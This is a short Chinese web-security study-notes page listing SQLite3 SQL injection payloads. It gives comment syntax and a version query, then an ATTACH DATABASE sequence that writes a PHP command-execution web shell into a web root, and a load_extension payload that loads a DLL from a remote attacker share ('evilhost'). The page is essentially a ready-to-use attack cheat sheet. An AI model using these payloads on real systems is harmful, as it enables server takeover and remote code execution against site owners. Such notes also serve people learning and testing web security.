1. 首页
  2. 作品
  3. Web安全学习笔记
  4. 36. SQLite3 Payload
Web 安全 漏洞 SQLite

36. SQLite3 Payload

  • Comment
    • --
    • /**/
  • Version
    • select sqlite_version();
  • Command Execution 
    • ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
  • Load_extension
    • UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--
作品《Web安全学习笔记 - 36. SQLite3 Payload》由 eric 发布于 匠果，转载请注明出处及链接地址： http://www.jiangguo.net/c/8w5/vry.html